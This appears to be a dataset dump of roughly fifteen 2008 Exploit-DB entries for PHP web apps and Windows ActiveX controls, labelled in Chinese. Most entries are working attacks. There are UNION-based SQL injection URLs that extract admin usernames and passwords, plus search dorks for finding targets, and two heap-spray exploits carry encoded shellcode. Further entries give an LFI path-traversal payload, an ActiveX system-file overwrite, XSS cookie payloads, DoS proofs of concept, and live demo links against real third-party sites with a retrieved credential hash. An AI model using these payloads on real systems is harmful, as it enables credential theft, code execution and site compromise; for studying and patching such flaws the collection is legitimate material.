QLWD/code_shield huggingface dataset:
标题: Yourownbux 3.1/3.2 Beta - SQL Injection EDB-ID: 6321 CVE: 2008-4093 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-27 漏洞利用脚本: YourOwnBux 3.1, 3.2 Beta Remote SQL Injection Vulnerability

Author: ~!Dok_tOR!~
Date found: 28.08.08
Product: YourOwnBux
Version: 3.1, 3.2
Price: $39.99
DEMO: yourownbux.com/demos/
Vulnerability Class: SQL Injection
Condition: magic_quotes_gpc = Off

3.2 Beta version

Exploit:

http://localhost/[installdir]/memberstats.php?user='+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,username,password),10,11,12,13,14,15,16,17,18,19+from+tb_users/*

3.1 version

Exploit:

http://localhost/[installdir]/memberstats.php?user='+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,username,password),10,11,12,13,14,15,16,17,18+from+tb_users/*

# milw0rm.com [2008-08-27] URL: https://www.exploit-db.com/exploits/6321
标题: Ultra Shareware Office Control - ActiveX Control Remote Buffer Overflow EDB-ID: 6318 CVE: 2008-3878 类型: REMOTE 平台: WINDOWS 发布日期: 2008-08-27 漏洞利用脚本: -----------------------------------------------------------------------------
 Ultra Office ActiveX Control Remote Buffer Overflow
 url: http://www.ultrashareware.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://www.shinnai.net

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------
<script language="JavaScript" defer>
  var sCode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
                       "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
                       "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
                       "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
                       "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
                       "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
                       "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
                       "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
                       "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
                       "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
                       "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
                       "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
                       "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
                       "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
                       "%u652E%u6578%u9000");
  var sSlide = unescape("%u9090%u9090");
  var heapSA = 0x0c0c0c0c;
  function tryMe()
   {
    var buffSize = 20000;
    var x =  unescape("%0c%0c%0c%0c");
    while (x.length<buffSize) x += x;
    x = x.substring(0,buffSize);
    boom.HttpUpload(x, x, x);
  }
  function getsSlide(sSlide, sSlideSize)
   {
    while (sSlide.length*2<sSlideSize)
     {
      sSlide += sSlide;
     }
    sSlide = sSlide.substring(0,sSlideSize/2);
    return (sSlide);
  }
  var heapBS = 0x400000;
  var sizeHDM = 0x5;
  var PLSize = (sCode.length * 2);
  var sSlideSize = heapBS - (PLSize + sizeHDM);
  var heapBlocks = (heapSA+heapBS)/heapBS;
  var memory = new Array();
  sSlide = getsSlide(sSlide,sSlideSize);
  for (i=0;i<heapBlocks;i++)
   {
    memory[i] = sSlide +  sCode;
   }
 </script>
 <body onload="JavaScript: return tryMe();">
  <object id="boom" classid="clsid:00989888-BB72-4E31-A7C6-5F819C24D2F7">
   Unable to create object
 </object>

# milw0rm.com [2008-08-27] URL: https://www.exploit-db.com/exploits/6318
标题: Thickbox Gallery 2.0 - 'Admins.php' Admin Data Disclosure EDB-ID: 6314 CVE: 2008-3859 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-26 漏洞利用脚本: #########################################################################################
[+] Thickbox Gallery v2 Admin Data Disclosure
[+] Discovered By SirGod                         
[+] www.mortal-team.org                         
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,MesSiAH,xZu,HrN,kemrayz
##########################################################################################

[+] Arbitrary Admin Data Disclosure

    - Go here and you will see the admin data ( login name + crypted password as MD5 )

       http://localhost/[Path]/conf/admins.php

    - Admin data :

          a:1:{s:5:"admin";s:32:"d73ed8a01f624fcb878296bc7ff302bc";}

    - Now extract the admin username and the hash :

        Username : admin

        Password : d73ed8a01f624fcb878296bc7ff302bc

[+] Live Demo

         http://www.davilin.com/tbg/conf/admins.php

    - Retrived :

          a:1:{s:8:"ytakenak";s:32:"56bd1d32bcb1fbd2609e4d7634febbd1";}

    - Name + Password

        Username : ytakenak
      
        Password : 56bd1d32bcb1fbd2609e4d7634febbd1
   

##########################################################################################

# milw0rm.com [2008-08-26] URL: https://www.exploit-db.com/exploits/6314
标题: PHPMyRealty 1.0.9 - Multiple SQL Injections EDB-ID: 6320 CVE: 2008-3861 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-27 漏洞利用脚本: phpMyRealty <= 1.0.9 (pages.php id) Remote SQL Injection Vulnerability

 Author: ~!Dok_tOR!~
 Date found: 27.08.08
 Product: phpMyRealty
 Version: 1.0.7, 1.0.9
 Download script: http://rapidshare.com/files/123835319/phpMyRealty.v1.0.7.PHP-rs.rar
 Vulnerability Class: SQL Injection

 Exploit 1:

 http://localhost/[installdir]/pages.php?id=-999999+union+select+concat_ws(0x3a,login,password),2,3+from+pmr_admins/*

 Exploit 2:

 http://localhost/[installdir]/search.php?price_min=50000&price_max=-999999+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,login,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44+from+pmr_admins/*

 Admin panel:

 http://localhost/[installdir]/admin/

 Dork: 

 Powered by phpMyRealty 1.0.7
 Powered by phpMyRealty.com

# milw0rm.com [2008-08-27] URL: https://www.exploit-db.com/exploits/6320
标题: LogMeIn Remote Access Utility - ActiveX Memory Corruption (Denial of Service) EDB-ID: 6326 CVE: 2008-7053 类型: DOS 平台: WINDOWS 发布日期: 2008-08-29 漏洞利用脚本: <html>
<body>
<pre>

LogMeIn Remote Access Utility ActiveX Memory Corruption 0day PoC (DoS)
Software vendor URL: http://www.logmein.com
Vulnerability at: RACtrl.dll (propset for: fgcolor, bgcolor, fmcolor)
Author: Yag Kohha (skyhole [at] gmail.com)

eax=024521b8 ebx=00000002 ecx=020e9f54 edx=00000011 esi=00000000 edi=00000000
eip=01fb537f esp=0013e160 ebp=0013e1e8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
RACtrl+0x3537f:
01fb537f 0fb706           movzx   eax,word ptr [esi]    ds:0023:00000000=????
---->>> Wanna change [esi]? Try to play with colors ;D

Greetz to:
str0ke & milw0rm
shinnai
offtopic
kais

</pre>

<object classid='clsid:FD0B6769-6490-4A91-AA0A-B5AE0DC75AC9' id='obj1'></object>
<script language='javascript'>
var buf = '';
while (buf.length < 512) buf = buf + 'AAAA';
obj1.fgcolor = buf;
obj1.bgcolor = obj1.fgcolor;
</script>
</body>
</html>

# milw0rm.com [2008-08-29] URL: https://www.exploit-db.com/exploits/6326
标题: Microsoft Visual Studio - 'Msmask32.ocx' ActiveX Remote Buffer Overflow EDB-ID: 6317 CVE: 2008-3704 类型: REMOTE 平台: WINDOWS 发布日期: 2008-08-26 漏洞利用脚本: Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote Buffer Overflow Exploit

Author: Koshi
Original POC: http://www.milw0rm.com/exploits/6244 ( Not by me )

My first ActiveX exploit, learned quite a bit playing with this one.
Heaps are handy.

#################################################
Loaded File: C:\WINDOWS\system32\MSMASK32.OCX
Name:        MSMask
Version:     1.1
Class MaskEdBox
GUID: {C932BA85-4374-101B-A56C-00AA003668DC}
Number of Interfaces: 1
Default Interface: IMSMask
RegKey Safe for Script: False
RegKey Safe for Init: True
KillBitSet: False
#################################################


gr33tz: Rima my baby, str0ke, mess, and to all of those who have helped me over the years!

<input language=JavaScript onclick=doIt() type=button value="Test Exploit">
<script language="JavaScript">

function doIt()
{
var body='<OBJECT CLASSID="CLSID:C932BA85-4374-101B-A56C-00AA003668DC" width="10"><PARAM NAME="Mask" VALUE="';
var body1='"></OBJECT>';
var buf1 = '';
for (i=1;i<=1945;i++){buf1=buf1+unescape("%0c");}

// win32_exec -  EXITFUNC=process CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com

var shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4937%u4949%u4949%u4949%u4949" +
    "%u4949%u4949%u4949%u4949%u5a51%u456a%u5058%u4230%u4130%u416b" +
    "%u5541%u4132%u3242%u4242%u4142%u4230%u5841%u3850%u4241%u7875" +
    "%u7969%u6d6c%u3038%u6544%u7550%u7350%u6e30%u516b%u7755%u4c4c" +
    "%u414b%u656c%u3355%u4348%u3831%u4c6f%u304b%u464f%u4c78%u314b" +
    "%u374f%u3450%u4a41%u624b%u4e69%u666b%u6e54%u666b%u6a61%u304e" +
    "%u3931%u4f50%u4c69%u6f6c%u5974%u3450%u3534%u5957%u7951%u565a" +
    "%u776d%u6f71%u7832%u6b6b%u6744%u714b%u6744%u7754%u3474%u4b35" +
    "%u6e55%u436b%u466f%u6544%u3851%u506b%u4c66%u564b%u306c%u4c4b" +
    "%u414b%u374f%u656c%u5a51%u6c4b%u654b%u4c4c%u674b%u6871%u6e6b" +
    "%u7169%u654c%u6674%u5964%u4653%u4951%u6550%u6c34%u634b%u3470" +
    "%u4b70%u4b35%u5470%u3438%u6e4c%u436b%u6670%u4e6c%u626b%u7550" +
    "%u4c4c%u6e6d%u536b%u3758%u4a78%u554b%u4c59%u6d4b%u6e50%u6550" +
    "%u6550%u4750%u6c70%u434b%u6558%u716c%u464f%u5a51%u4156%u3070" +
    "%u4d56%u6c59%u4e38%u4963%u7150%u526b%u7570%u7138%u4b6e%u4b68" +
    "%u3152%u6563%u4c38%u5958%u6e6e%u746a%u714e%u4b47%u7a4f%u7047" +
    "%u6363%u5251%u634c%u5553%u4550");


// A read through "Heap Feng Shui in JavaScript" shed some
// much needed light on this topic for me. Thank you Alexander Sotirov.
var shellcodeSize = (shellcode.length * 2);
var spraySled = unescape("%u9090%u9090");
var heapAddress = 0x0c0c0c0c;
var heapBlockSize = 0x100000;
var spraySledSize = heapBlockSize - (shellcodeSize + 1);
var heapBlocks = (heapAddress+heapBlockSize)/heapBlockSize;
var x = new Array();
while (spraySled.length*2<spraySledSize)
{
spraySled += spraySled;
}
spraySled = spraySled.substring(0,spraySledSize/2);
for (i=0;i<heapBlocks;i++)
{
x[i] = spraySled +  shellcode;
}
document.write(body+buf1+body1);
}

</script>

# milw0rm.com [2008-08-26] URL: https://www.exploit-db.com/exploits/6317
标题: iFdate 2.0.3 - SQL Injection EDB-ID: 6315 CVE: 2008-7114 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-26 漏洞利用脚本: iFdate <= 2.0.3 SQL Injection Vulnerability

Author: ~!Dok_tOR!~
Date found: 26.08.08
Product: iFdate
Version: 2.0.3
Price: $140
Download script: http://depositfiles.com/ru/files/537317
Vulnerability Class: SQL Injection
Condition: magic_quotes_gpc = Off

http://localhost/[installdir]/members_search.php

need avtorizovatsya

Search Name/Nickname:

Exploit 1:

' union select 1,concat_ws(0x3a,admin_username,admin_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from ifdate_admins/*

Exploit 2:

' union select 1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from ifdate_users/*

Dork:

  Powered by iFdate v.2.0
iFdate v.2.0
iFdate v.2.0 Copyright

# milw0rm.com [2008-08-26] URL: https://www.exploit-db.com/exploits/6315
标题: Najdi.si Toolbar - ActiveX Remote Buffer Overflow (PoC) EDB-ID: 6327 CVE: 2008-7103 类型: DOS 平台: WINDOWS 发布日期: 2008-08-29 漏洞利用脚本: -----------------------------------------------------------------------------
 Najdi.si Toolbar Remote Buffer Overflow
 url: http://www.najdi.si/

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on:
 Windows XP Professional SP2 with Internet Explorer 6 and 7
 Windows XP Professional SP3 with Internet Explorer 6 and 7
 Windows 2k Professional SP4 with Internet Explorer 6
 Windows Server 2003 SP2 with Internet Explorer 7
-----------------------------------------------------------------------------
<script language='vbscript'>

 mUrl = "res://" + String(260, "a") + "bb" + "cc" + String(512, "d") + "/"
 
 ' "bb"  => see EBP
 ' "cc"  => see EIP
 ' "ddd..." => see ESP

 Document.Location = mUrl

</script>

# milw0rm.com [2008-08-29] URL: https://www.exploit-db.com/exploits/6327
标题: Ultra Office - ActiveX Control Arbitrary File Corruption EDB-ID: 6319 CVE: 2008-3879 类型: DOS 平台: WINDOWS 发布日期: 2008-08-27 漏洞利用脚本: -----------------------------------------------------------------------------
 Ultra Office ActiveX Control Remote Arbitrary File Corruption
 url: http://www.ultrashareware.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------
<object classid='clsid:00989888-BB72-4e31-A7C6-5F819C24D2F7' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
  Sub tryMe
   dim remURL
   remURL = "http://SomeSite.com/SomeFile.doc"
   test.Open remURL, True
   test.Save "C:\WINDOWS\_system.ini", True
 End Sub
</script>

# milw0rm.com [2008-08-27] URL: https://www.exploit-db.com/exploits/6319
标题: CMME 1.12 - Local File Inclusion / Cross-Site Scripting / Cross-Site Request Forgery/Download Backup/Make Directory EDB-ID: 6313 CVE: 2008-3926 2008-3925 2008-3924 2008-3923 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-26 漏洞利用脚本: ##################################################################################################################
[+] CMME 1.12 (LFI/XSS/CSRF/Download Backup/MkDir) Multiple Remote Vulnerabilities 
[+] Discovered By SirGod                        
[+] www.mortal-team.org                        
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,MesSiAH,xZu,HrN,kemrayz
##################################################################################################################

[+] Local File Inclusion

    Note : magic_quotes_gpc must be off.
 
    Example :

     http://localhost/index.php?page=weblog&env=[Local File]%00

    PoC :

     http://localhost/index.php?page=weblog&env=../../../autoexec.bat%00
    

[+] Download Backup

     Example 1:

       http://localhost/backup/[Backup Name].zip

     PoC 1:

       http://localhost/backup/cmme_data.zip

     Live Demo 1:

       http://cmme.oesterholt.net/backup/cmme_data.zip

     Example 2:

       http://localhost/backup/[Backup Name].zip

     PoC 2:

       http://localhost/backup/cmme_cmme.zip

     Live Demo 2:

       http://cmme.oesterholt.net/backup/cmme_cmme.zip

      
[+] Make Directory

    You can make multiple directories in website root folder.

      Example 1:
     
        http://localhost/admin.php?action=login&page=home&script=index.php&env=[Directory]

      PoC 1:

        http://localhost/admin.php?action=login&page=home&script=index.php&env=!!!Owned!!!


    Or you can make dir in previous directory,etc.

      Example 2:

        http://localhost/admin.php?action=login&page=home&script=index.php&env=../[Directory]

      PoC 2:

        http://localhost/admin.php?action=login&page=home&script=index.php&env=../!!!Owned!!!


[+] Cross Site Scripting  

     Example 1:
     
      http://localhost/statistics.php?action=hstat_year&page=[XSS}&env=data

     PoC 1:

      http://localhost/statistics.php?action=hstat_year&page=<script>alert(document.cookie)</script>&env=data

     Live Demo 1:

      http://cmme.oesterholt.net/statistics.php?action=hstat_year&page=<script>alert(document.cookie)</script>&env=data

     Example 2:

      http://localhost/statistics.php?action=hstat_year&year=[XSS]&env=data

     PoC 2:

      http://localhost/statistics.php?action=hstat_year&year=<script>alert(document.cookie)</script>&env=data

     Live Demo 2:
     
      http://cmme.oesterholt.net/statistics.php?action=hstat_year&year=<script>alert(document.cookie)</script>&env=data


[+] Cross Site Request Forgery

    If an logged in user with administrator privileges clicks the following link he will be logged out.

      http://localhost/admin.php?action=logout&page=home&env=data


##################################################################################################################

# milw0rm.com [2008-08-26] URL: https://www.exploit-db.com/exploits/6313
标题: Web Directory Script 2.0 - 'name' SQL Injection EDB-ID: 6298 CVE: 2008-3787 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-25 漏洞利用脚本: Web Directory Script <= 2.0 SQL Injection Vulnerability

Author: ~!Dok_tOR!~
Contact: coder5(at)topmail.kz 
Home Page: www.antichat.ru
Date found: 23.08.08
Product: Web Directory Script
Version: 2.0
Download script: http://rapidshare.com/files/121448809/W3bDirScr2-nullscript.net.rar
Password: nullscript.net
Vulnerability Class: SQL Injection

listing_view.php

Vuln code:

$friendly_url=$_GET['name'];

http://localhost/[installdir]/

magic_quotes_gpc = Off

Exploit:

listing_view.php?name='+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+members/*

Thanks: Zitt, rijy, Koller, NOmeR1, $n@]<e, n0ne, +toxa+, [cash], ettee, HiM@S and All members of antichat.ru and xaker.name .

# milw0rm.com [2008-08-25] URL: https://www.exploit-db.com/exploits/6298
标题: Kolifa.net Download Script 1.2 - 'id' SQL Injection EDB-ID: 6310 CVE: 2008-4054 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-26 漏洞利用脚本: Title: Kolifa.Net Download Script (indir.php)

================================================================

[+] Author : Kacak

[+] Special Thankz : Sa0 & Knock0ut & Biyocanlar & BilisimCanlar & All My Friends

[+] BuqX [at] Hotmail [dot] Com

[+] http://www.lmfrf.org/kolifanet-download-script-12-sql-injection-vulnerability/2008/08/26/web-script-bug/

=================================================================

Script : Kolifa.Net Download Script

Demo : http://kolifadwn.awardspace.com/down

Download : http://php.arsivimiz.com/indir.php?id=880

Google Dork : inurl:prog.php?dwkodu=

Error Code :  

<?php
//*****************************
//*****************************
//********** KOLÄ°FA ***********
//********** DOWNLOAD *********
//********** SCRÄ°PT ***********
//*****************************
//****** www.kolifa.net *******
//*****************************
ini_set('error_reporting', E_ALL^E_NOTICE);
include("ayarlar.php");
require('fonksiyon.php');
$baglanti = mysql_connect($dbhost,$dbkullanici,$dbsifre) or die("VeritabanÄ±na baÄŸlanÄ±lamadÄ±.");
$sec = mysql_select_db($db);
$dwkodu=strip_tags($_GET['id']);
$act=strip_tags($_GET['act']);
?>

---------------------------

Example : http://[Site]/indir.php?id=-1/**/union/**/select/**/concat(admin_adi,0x3a,admin_sifresi)/**/from/**/yonetici/

[<p>EÄŸer YÃ¼klenme Ä°ÅŸlemi BaÅŸlamazsa <a href="Username:Password">Buraya TÄ±klayÄ±n</a></td>]


###############################################################

< -- bug code start -- >

www.site.com/path/indir.php?id=-1/**/union/**/select/**/concat(admin_adi,0x3a,admin_sifresi)/**/from/**/yonetici/*

/path/indir.php?id=-1/**/union/**/select/**/concat(admin_adi,0x3a,admin_sifresi)/**/from/**/yonetici/*

< -- bug code end of -- >

# milw0rm.com [2008-08-26] URL: https://www.exploit-db.com/exploits/6310
标题: z-breaknews 2.0 - 'single.php' SQL Injection EDB-ID: 6309 CVE: 2008-3848 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-26 漏洞利用脚本: zï»¿########################################################################################
#
#   Name    :   z-breaknews 2.0 (single.php) Remote SQL Injection Vulnerability
#   Author  :   cOndemned [ Dark-Coders ]
#   Greetz  :   Avantura, str0ke, ZaBeaTy, t0pP8uZz, 0in, suN8Hclf & All of my friends
#
########################################################################################


source of single.php :

    [ ... ]
    
    4.  @mysql_select_db("$dbName")or die("ÃÄº Ä›Ã®ÄƒÃ³ Ã¢Å±Ã¡Ä‘Å•ÅˆÃ¼ Ã¡Å•Ã§Ã³ Ã¤Å•Ã­Ã­Å±Å‘ "); 
    5.  $row=mysql_fetch_array(mysql_query("SELECT * FROM $table WHERE id=".$_GET['id']));
    6.  echo $row['date'] ?></title>
    
    [ ... ] 
    
    36. $row=mysql_fetch_array(mysql_query("SELECT * FROM $table WHERE id=".$_GET['id']));
    
    [ ... ]
    
    41.     <td widht=100%  ALIGN=\"left\" valign=\'top'\><h1>$row[date]</h1> 
    
    [ ... ]


proof of concept (admins login & password are not in database, so... )

    http://[host]/single.php?id=-1+UNION+SELECT+1,concat_ws(0x3a,user(),database()),3,4,5/*

    ^ This will print requested information between <title> (line 6) and <h1> (line 41) tags


just 4 fun

# milw0rm.com [2008-08-26] URL: https://www.exploit-db.com/exploits/6309
标题: Crafty Syntax Live Help 2.14.6 - 'department' SQL Injection EDB-ID: 6307 CVE: 2008-3845 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-25 漏洞利用脚本: Crafty Syntax Live Help <= 2.14.6 SQL Injection
 
August 25, 2008
Vendor  : Eric Gerdes
URL  : http://www.craftysyntax.com
Version  : Crafty Syntax Live Help <= 2.14.6
Risk  : SQL Injection


Description:
Crafty Syntax Live Help is a full featured, open source, online support 
system written in php that allows the visitors of a website to interact 
in real time with the site owners. There is a couple of high risk SQL Injections 
in Crafty Syntax Live Help that allows for an attacker to read arbitrary database 
contents such as user credentials, or administrator credentials. An updated version 
of Crafty Syntax Live Help is now available and users should upgrade as soon as possible.


SQL Injection
There is a high risk SQL Injection issue within Crafty Syntax Live Help that allows for 
an attacker to read arbitrary database contents such as user credentials, or administrator 
credentials. The vulnerable bit of code in question can be seen below.

if(empty($UNTRUSTED['department'])){ $department=0; } else { $department=$UNTRUSTED['department']; }

// Get department information. First found if no specific department assigned
$qQry = "SELECT recno,messageemail,colorscheme,leavetxt,creditline,onlineimage,leaveamessage,offlineimage,speaklanguage FROM livehelp_departments "
      . (($department==0)? 'LIMIT 1': "WHERE recno=$department");
 



The above code can be found in is_xmlhttp.php, but an almost identical issue can 
be found within the file is_flush.php also. This SQL Injection issue is present 
regardless of magic quotes settings, and can be triggered using a url like the one shown below.

/is_xmlhttp.php?scriptname=1&department=-99%20UNION%20SELECT%201,2,concat (username,char(58),password),4,5,6,7,8,9%20FROM%20livehelp_users/*

Since Crafty Syntax Live Help seems to store passwords in plain text by default, it 
is a trivial task for an attacker to gain administrative access to the installation 
after exploiting this issue.


Solution:
An updated version of Crafty Syntax Live Help has been released and can be found at the location below.

http://security.craftysyntax.com/updates/?v=2.14.6


Credits:
James Bercegay of the GulfTech Security Research Team 

# milw0rm.com [2008-08-25] URL: https://www.exploit-db.com/exploits/6307
标题: Matterdaddy Market 1.1 - 'index.php' Multiple SQL Injections EDB-ID: 6297 CVE: 2008-3783 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-25 漏洞利用脚本: Author: ~!Dok_tOR!~
Contact: coder5(at)topmail.kz 
Home Page: www.antichat.ru
Date found: 25.08.08
Product: Market
Version: 1.1
Download script: http://www.matterdaddy.com/4/scripts/market_v1_1.zip
Vulnerability Class: SQL Injection

magic_quotes_gpc = Off

http://localhost/[installdir]/

Exploit:

index.php?category='+union+select+1,2,user(),4,5,6,7,8,9,10,11,12,13/*
index.php?type='+union+select+1,2,user(),4,5,6,7,8,9,10,11,12,13/*

Dork:

made by matterdaddy

# milw0rm.com [2008-08-25] URL: https://www.exploit-db.com/exploits/6297